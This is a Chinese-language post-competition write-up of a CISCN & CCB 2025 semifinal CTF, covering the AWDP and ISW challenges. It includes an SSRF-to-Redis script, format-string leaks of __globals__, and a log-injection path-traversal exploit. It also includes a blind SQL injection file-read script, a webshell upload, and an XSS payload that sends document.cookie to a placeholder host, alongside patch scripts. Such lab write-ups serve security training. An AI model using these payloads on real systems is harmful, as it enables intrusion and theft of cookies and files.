CISCN & CCB 2025 半决赛赛后复盘

我们队伍位于广东赛区

最终成绩:赛区第7

img

上半场 | AWDP

一直在猛猛修,攻击分吃不了一点

修了两道 pwn,@式 得了 MVP!

@Err0r233 迅速修了一道 java,拿了很多轮次的防守分,Error 也是 MVP

我啥都没修好,也没有攻击战果,我的评分3.0,我是躺赢狗 😭

rng-assistant

这题有附件,审计能发现很明显的 SSRF

首先这个 /admin 的鉴权相当于没有

img

img

然后可以通过改 model_port 打 SSRF

def query_model(prompt, model_id="default"):
    cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
    cached = redis_conn.get(cache_key)
    if cached:
        return cached.decode()

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            # 通过 /admin/model_ports 可以修改模型对应的端口
            s.connect(("127.0.0.1", get_model_port(model_id)))
            s.sendall(prompt.encode("utf-8"))
            response = s.recv(4096).decode("utf-8")

            redis_conn.setex(cache_key, 3600, response)  # Cache for 1 hour
            return response
    except Exception as e:
        return f"Model service error: {str(e)}"

打啥呢?可以看到有 redis

img

然后就有如下的脚本,可以执行任意 redis 命令(发送命令的时候一定要记得换行啊!不然 redis 会认为输入还未结束,导致整个服务卡住)

import requests
import json

host = "10.10.1.114"
port = 27227

payload = "info\n"

resp = requests.post(
    url=f"http://{host}:{port}/register",
    headers={"Content-Type": "application/json"},
    data=json.dumps({"username": "caterpie", "password": "password"})
)

resp = requests.post(
    url=f"http://{host}:{port}/login",
    headers={"Content-Type": "application/json"},
    data=json.dumps({"username": "caterpie", "password": "password"})
)

session = resp.headers.get("Set-Cookie").split(";")[0].split("=")[1]

resp = requests.post(
    url=f"http://{host}:{port}/admin/model_ports",
    headers={
        "X-User-Role": "admin",
        "Content-Type": "application/json",
    },
    cookies={"session": session},
    data=json.dumps({"model_id": "redis", "port": 6379})
)

resp = requests.post(
    url=f"http://{host}:{port}/admin/raw_ask",
    headers={
        "X-User-Role": "admin",
        "Content-Type": "application/json",
    },
    cookies={"session": cookie},
    data=json.dumps({"model_id": "redis", "prompt": payload})
)

print(resp.text)

img

赛时打到这里就卡住了,想着通过 redis 未授权访问直接拿 shell。但是 redis 的权限太低,哪都写不了日志。还尝试主从复制加载恶意模块,也以失败告终

和队友想破头了都没想到怎么前进,只好开始 fix

既然后台很容易进入,那就把 X-User-Role 改复杂一点;既然有 redis 未授权访问,那就不允许将模型端口设置为 6379

(这题不允许替换文件,只允许使用 sed 更新文件内容)

#!/bin/bash

$NEW_PASSWD = "aDm1Ni2eb56O"

ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9

sed -i "s/get(\"X-User-Role\") != \"admin\"/get(\"X-User-Role\") != \"$NEW_PASSWD\"/g" /app/app.py

sed -i "s/\"admin\"/\"$NEW_PASSWD\"/g" /etc/nginx/sites-available/flask_app

sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.py

python3 /app/mini-ollama/default.py &
python3 /app/mini-ollama/math-v1.py &
gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &

结果怎么 fix 都是 “操作失败”

后面复盘,自己起了环境后发现,我们传的 update.sh 应该是报错了

报错原因

1、使用 python3 /app/app.py 而不是 python3 /app/app.py &,导致 update 脚本没有退出,判我们死循环

2、使用 gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &,但是路径不对,导致 gunicorn 找不到 app,应该先 cd /app

3、没有 reload nginx 的配置文件,导致从 127.0.0.1 也没办法使用 admin 功能,判过度防御了

赛后尝试在本地验证,个人认为下面的脚本是可以 fix 成功的

#!/bin/bash

$NEW_PASSWD = "aDm1Ni2eb56O"

# down 掉所有 python 服务
ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9

# 修复 SSRF
sed -i "s/get(\"X-User-Role\") != \"admin\"/get(\"X-User-Role\") != \"$NEW_PASSWD\"/g" /app/app.py
sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.py

# 重启 python 服务
python3 /app/mini-ollama/default.py &
python3 /app/mini-ollama/math-v1.py &
cd /app
gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &

# 刷新 nginx 配置
sed -i "s/\"admin\"/\"$NEW_PASSWD\"/g" /etc/nginx/sites-available/flask_app
nginx -s reload

说完了 fix,那怎么 attack 呢?

可以看到这个地方使用了 format 进行字符串格式化

img

并且将 self也就是 PromptTemplate 实例传入了,看一下模板字符串长什么样

img

是不是有点 SSTI 的感觉?format 函数允许以下操作:获取对象的属性、使用键或索引取值;但是不能进行函数调用

对于能控制的 format 模板,实现 rce 的难度比较大,不过我们可以通过获取 __globals__ 泄露一些信息

img

那我们现在的目标就是控制 PromptTemplate.get_template 返回的模板内容

可以看到靶机是从 redis 获取模板的

img

这里的 template_id 我们没法控制,恒为 math-v1;如果能控的话这里有任意文件读

结合前面的 SSRF,将 prompt:math-v1 修改成 {t.__init__.__globals__}

最后到 /ask 随便问个问题触发模板字符串的渲染即可获取 flag

@app.route("/ask", methods=["POST"])
def ask_question():
    if "user" not in session:
        return jsonify({"error": "Login required"}), 401

    data = request.json
    question = data.get("question")
    model_id = data.get("model_id", "default")

    final_prompt = generate_prompt(question)

    response = query_model(final_prompt, model_id)
    # 这里的 final_prompt 就是渲染后的模板字符串
    res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
    return jsonify(res)

img

ccform

这题被 fix 麻了,上半场结束时有几十个队成功 fix,十分神秘。我们找了半天都没找到漏洞点在哪,也尝试了各种通防,最后耗完 10 次修复机会都没有成功

赛后询问其他队伍得到了解题思路

先说漏洞点,在 admin.php 中存在一个日志解析漏洞

img

可以看到 $log_lines 是使用换行符分割的,对于这些“使用某字符分割”的结构,要有一定的敏感性,像是 php session 反序列化漏洞就是对 分隔符| 处理不当导致的

如果能够在日志的某个条目中添加换行符,就能实现插入任意的日志条目

<?php
$action_log_path = '/var/www/action.log';
if (!file_exists($action_log_path)) {
    die("Action log file not found.");
}

$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

$banned_users = [];
$failed_logs = [];

foreach ($log_lines as $line) {
    if (empty($line)) {
        continue;
    }

    $parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }

    $encoded_user = $parts[1];
    $action = $parts[2];
    $success = (int) $parts[3];
    $additional_info = $parts[4];

    if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } else {
            $failed_logs[] = $additional_info;
        }
    }
}

$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
    $banned_dir = "/var/www/banned/{$encoded_user}";

    if (file_exists($banned_dir)) {
        $files = scandir($banned_dir);
        foreach ($files as $file) {
            if ($file !== '.' && $file !== '..') {
                $file_path = $banned_dir . '/' . $file;
                $content = file_get_contents($file_path);
                $banned_contents[$username][] = $content;
            }
        }
    }
}

阅读源码可知,当我们插入如下日志时

<任意内容>,../../../,record_banned,1,<任意内容>

服务器将会把 ../../../ 作为 $encoded_user,从而读取根目录的所有文件内容

那我们要怎么控制日志的内容呢?去看写日志的逻辑

<?php
function log_action($username, $action, $succ, $additional = '')
{
    $log_id = uniqid();
    $e_username = encode_uname($username);
    $log_line = sprintf(
        "%s,%s,%s,%d,%s\n",
        $log_id,
        $e_username,
        $action,
        $succ,
        $additional
    );

    file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

搜索全局对 log_action 的引用,发现我们能控制的字段只有 $username$additional

其中 username 在写入日志前会进行 base64 编码,这里没办法触发解析洞

additional 只有唯一的一个地方可控

<?php
function record_banned($username, $banned)
{
    $e_username = encode_uname($username);
    $banned_dir = "/var/www/banned/{$e_username}";
    $created = true;
    if (!file_exists($banned_dir)) {
        $created = mkdir($banned_dir, 0750);
    }
    $log = "";
    $succ = 1;
    if (!$created) {
        $succ = 0;
        // 这是唯一的可控点,将原始的 $username 拼接进去了
        $log = "Failed to create record directory for " . $username;
    } else {
        $filename = $banned_dir . '/' . time() . '.txt';
        if (!file_put_contents($filename, $banned)) {
            $succ = 0;
            $log = "Failed to record banned content";
        }
    }
    log_action($username, 'record_banned', $succ, $log);
}

要触发这段逻辑,就要使前面的 mkdir 失败

<?php
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$create = mkdir($banned_dir, 0750);

由于这里不允许创建多级目录,而 base64 编码是可能产生 / 的,所以我们可以通过如下脚本寻找满足要求的 username

<?php
$username = "\n,../../../,record_banned,1,";

for ($i=0;$i<=2000;$i++) {
    for ($j=0;$j<=2000;$j++) {
        $new_username = chr($i) . chr($j) . $username;
        $e_username = base64_encode($new_username);
        if (strpos($e_username, '/') > 0) {
            die(urlencode($new_username) . " : " . $e_username);
        }
    }
}

img

到这里就打通整个路线了,首先注册一个用户名为: %03%F0%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C 的用户

然后发送一个含有敏感词的 reply,触发 record_banned;最后进入 admin.php 触发日志解析漏洞获取 flag

知道怎么 break,fix 就很简单了。有两种比较简洁的修复方式

1、ban 掉 additional 中的换行符

img

2、将 encode_uname 的编码方式换成不会产生斜杠的 md5

img

下半场 | ISW

@式@9C±Void 逮着应急响应猛薅,出了3个还是4个 flag

我也完成了不爆零的任务,Web-Git 拿到了 webshell,flag1 直接吃了 580+ 分,爽 😋

Web-Git

nmap 扫描结果

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-16 05:10 CST
Initiating Ping Scan at 05:10
Scanning 172.16.195.40 [4 ports]
Completed Ping Scan at 05:10, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:10
Completed Parallel DNS resolution of 1 host. at 05:10, 13.00s elapsed
Initiating SYN Stealth Scan at 05:10
Scanning 172.16.195.40 [1000 ports]
Discovered open port 110/tcp on 172.16.195.40
Discovered open port 993/tcp on 172.16.195.40
Discovered open port 111/tcp on 172.16.195.40
Discovered open port 143/tcp on 172.16.195.40
Discovered open port 3306/tcp on 172.16.195.40
Discovered open port 995/tcp on 172.16.195.40
Discovered open port 80/tcp on 172.16.195.40
Discovered open port 25/tcp on 172.16.195.40
Discovered open port 443/tcp on 172.16.195.40
Discovered open port 9999/tcp on 172.16.195.40
Completed SYN Stealth Scan at 05:10, 0.08s elapsed (1000 total ports)
Nmap scan report for 172.16.195.40
Host is up (0.0011s latency).
Not shown: 990 closed tcp ports (reset)
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
443/tcp  open  https
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql
9999/tcp open  abyss

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
           Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.084KB)

dirsearch 扫描结果

[13:04:44] 301 -  234B  - /.git  ->  http://172.16.195.40/.git/
[13:04:44] 200 -  694B  - /.git/branches/
[13:04:44] 200 -   12B  - /.git/COMMIT_EDITMSG
[13:04:44] 200 -   73B  - /.git/description
[13:04:44] 200 -   92B  - /.git/config
[13:04:44] 200 -    3KB - /.git/
[13:04:44] 200 -   23B  - /.git/HEAD
[13:04:44] 200 -    3KB - /.git/hooks/
[13:04:44] 200 -  104B  - /.git/index
[13:04:44] 200 -  894B  - /.git/info/
[13:04:44] 200 -  240B  - /.git/info/exclude
[13:04:44] 200 -    1KB - /.git/logs/
[13:04:44] 200 -    1KB - /.git/logs/HEAD
[13:04:44] 301 -  250B  - /.git/logs/refs/heads  ->  http://172.16.195.40/.git/logs/refs/heads/
[13:04:44] 301 -  244B  - /.git/logs/refs  ->  http://172.16.195.40/.git/logs/refs/
[13:04:44] 200 -  289B  - /.git/logs/refs/heads/master
[13:04:44] 200 -    3KB - /.git/objects/
[13:04:44] 200 -    1KB - /.git/refs/
[13:04:44] 301 -  244B  - /.git/refs/tags  ->  http://172.16.195.40/.git/refs/tags/
[13:04:44] 301 -  245B  - /.git/refs/heads  ->  http://172.16.195.40/.git/refs/heads/
[13:04:44] 200 -   41B  - /.git/refs/heads/master
[13:04:44] 403 -  213B  - /.ht_wsr.txt
[13:04:44] 403 -  216B  - /.htaccess.bak1
[13:04:44] 403 -  216B  - /.htaccess.orig
[13:04:44] 403 -  216B  - /.htaccess_orig
[13:04:44] 403 -  217B  - /.htaccess_extra
[13:04:44] 403 -  218B  - /.htaccess.sample
[13:04:44] 403 -  216B  - /.htaccess.save
[13:04:44] 403 -  214B  - /.htaccessBAK
[13:04:44] 403 -  214B  - /.htaccessOLD
[13:04:44] 403 -  215B  - /.htaccessOLD2
[13:04:44] 403 -  206B  - /.htm
[13:04:44] 403 -  214B  - /.htaccess_sc
[13:04:44] 403 -  207B  - /.html
[13:04:44] 403 -  216B  - /.htpasswd_test
[13:04:44] 403 -  212B  - /.htpasswds
[13:04:44] 403 -  213B  - /.httr-oauth
[13:04:52] 301 -  236B  - /assets  ->  http://172.16.195.40/assets/
[13:04:52] 200 -    1KB - /assets/
[13:04:52] 301 -  236B  - /backup  ->  http://172.16.195.40/backup/
[13:04:52] 403 -  209B  - /backup/
[13:04:53] 403 -  210B  - /cgi-bin/
[13:04:56] 200 -   13B  - /default.php
[13:05:00] 302 -   29KB - /header.php  ->  /login
[13:05:01] 302 -   82KB - /index.php  ->  /login
[13:05:01] 302 -   82KB - /index.php/login/  ->  /login
[13:05:01] 302 -   35KB - /info.php  ->  /login
[13:05:03] 200 -    0B  - /log.php
[13:05:03] 301 -  235B  - /login  ->  http://172.16.195.40/login/
[13:05:03] 200 -  838B  - /login/
[13:05:03] 302 -    0B  - /logout.php  ->  /login
[13:05:04] 301 -  236B  - /manual  ->  http://172.16.195.40/manual/
[13:05:04] 200 -    9KB - /manual/index.html
[13:05:07] 403 -  211B  - /php5.fcgi
[13:05:16] 200 -    0B  - /user.php

容易发现有 git 泄露,githack 一把梭。结果什么都没有… 也没找到其他分支

img

登录页面有 SQL 注入,不过是盲注。队友写了盲注读文件的脚本,结果发现除了 /etc/passwd 啥都读不了(红温了

import requests
import time

url = 'http://172.16.195.40/login/'

res="" #结果
for i in range(1,1000): #循环
    left=32
    right=128
    mid=(left + right) //2  #二分中值
    while (left < right):
        payload = "1' or (ascii(substr((select(load_file('../../../../../../../etc/passwd'))),%d,1))<%d)#" % (i, mid)
        data = {"password": "1", "username": payload}
        html = requests.post(url=url, data=data)

        print(payload)

        time.sleep(0.2) #防止429
        if "登录成功" in html.text:
            right = mid
        else:
            left = mid + 1
        mid = (left + right) //2

    if mid <= 32 or mid >= 127:
        break
    res+=chr(mid-1)
    print(res)
print("Final Results:",res)

然后就卡了一段时间,万能用户名登陆成功之后会弹回根目录,但是根目录就是一个普通的静态页面

突然想起来,dirsearch 扫描的时候有些路由会跳转到 login,这些地方在登陆后应该能查看了

[13:05:00] 302 -   29KB - /header.php  ->  /login
[13:05:01] 302 -   82KB - /index.php  ->  /login
[13:05:01] 302 -   82KB - /index.php/login/  ->  /login
[13:05:01] 302 -   35KB - /info.php  ->  /login

然后就进到了前台,有一个文件上传的接口,成功传马上线

img

然后在靶机里翻了半天,我 flag 呢?

用 find 搜文件名带 flag 的文件

img

img

看到一些 githack 没 dump 下来的 git 文件,于是让 Error 帮忙把整个网站都打包下来看。发现多了个 flag 分支

img

然后在该分支里找到了 flag1

img

结束后和其他队伍交流,发现用 wget -r http://172.16.195.40/.git/ 就能把含 flag 分支的仓库 dump 下来,被 githack 演了我靠

然后这题就没有其它进展了,复盘发现错过了很多分数,有几个 flag 是 getshell 之后应该拿到的

首先是 flag4,在 /home/gitlab/lookme 里面,使用 find / -type f | xargs grep -H -l 'flag\d\{' &2>/dev/null 就能搜到

然后是 flag3,getshell 后能够拿到数据库的账号密码

img

登入数据库能找到 ryan 用户密码,然后用该账密登录靶机的邮件服务器,可以从收件箱里找到 flag3(靶机是存在 pop3 和 imap 邮件接收服务的,用 telnet 任意登入一个服务即可)

也可以在 shell 中 su 切换到 ryan 用户,然后用 grep 把 flag 搜出来

反思时间:

1、没想过按照文件内容来搜 flag,都拿到 shell 了,这么大优势都没把握住

2、获取数据库密码之后为啥不登进去看一眼啊?还是不够冷静,打了6个多小时头昏了

3、对于路由的行为还是不够敏感,卡了一段时间才想起来登录成功后能进入某些之前无法访问的路由,白白浪费了时间

4、太依赖一把梭工具,当工具出现问题时就抓瞎

CCB2025

这题提示管理员每 5min 访问一次页面,用脚想都知道是打 xss 了

dirsearch 扫描结果

[06:17:27] 403 -  278B  - /.ht_wsr.txt
[06:17:27] 403 -  278B  - /.htaccess.bak1
[06:17:27] 403 -  278B  - /.htaccess.orig
[06:17:27] 403 -  278B  - /.htaccess.save
[06:17:27] 403 -  278B  - /.htaccess_extra
[06:17:27] 403 -  278B  - /.htaccess_orig
[06:17:27] 403 -  278B  - /.htaccess_sc
[06:17:27] 403 -  278B  - /.htaccessOLD
[06:17:27] 403 -  278B  - /.htaccessBAK
[06:17:27] 403 -  278B  - /.htaccess.sample
[06:17:27] 403 -  278B  - /.htaccessOLD2
[06:17:27] 403 -  278B  - /.htm
[06:17:27] 403 -  278B  - /.html
[06:17:27] 403 -  278B  - /.htpasswd_test
[06:17:27] 403 -  278B  - /.htpasswds
[06:17:27] 403 -  278B  - /.httr-oauth
[06:17:28] 403 -  278B  - /.php
[06:17:57] 302 -    0B  - /dashboard.php  ->  login.html
[06:18:02] 200 -  484B  - /feedback.html
[06:18:06] 301 -  312B  - /img  ->  http://172.18.195.20/img/
[06:18:11] 200 -  524B  - /login.html
[06:18:12] 302 -    0B  - /logout.php  ->  login.html
[06:18:29] 403 -  278B  - /server-status/
[06:18:29] 403 -  278B  - /server-status
[06:18:33] 301 -  312B  - /src  ->  http://172.18.195.20/src/
[06:18:33] 200 -  473B  - /src/
[06:18:39] 200 -   15KB - /users.log

其中 /feedback.html 是一个能留言和传文件的页面。然后所有能写 xss payload 的字段我都塞上了,等到花都谢了还是没收到 cookie

队友也是一样的情况,不知道他打了什么 payload(我勒个豆,为啥当时没有交流一下啊?我们在干嘛?)

据说拿到管理员 cookie 登入后,文件上传一条龙直接 getshell,然后就有 flag 了

赛后其他队伍给的 xss payload:

<script>new Image().src="http://your_ip:your_port/?cookies=" + document.cookie;</script>

我用了 fetch、img.onerror、img.onload,都没成功,xss 姿势还是积累得太少

总结

win10 截图快捷键:win + shift + s,这个可以做局部截屏

update 脚本尽量用绝对路径启动服务

find / -name "flag" &2>/dev/null 找文件名带 flag 的文件

find / -type f | xargs grep -H -l 'flag' &2>/dev/null 找文件内容中含 flag 的文件(慎用,全盘搜索速度会很慢)最好能缩小查找范围,例如确定 flag 在 /var 目录里,那就不要从根目录开始搜索,使用 find /var -type f | xargs grep -H -l 'flag' &2>/dev/null 会更好

不要太信任工具,githack 演我

外出比赛要带备用衣物,包括内裤和袜子;周六在广州被大雨淋傻了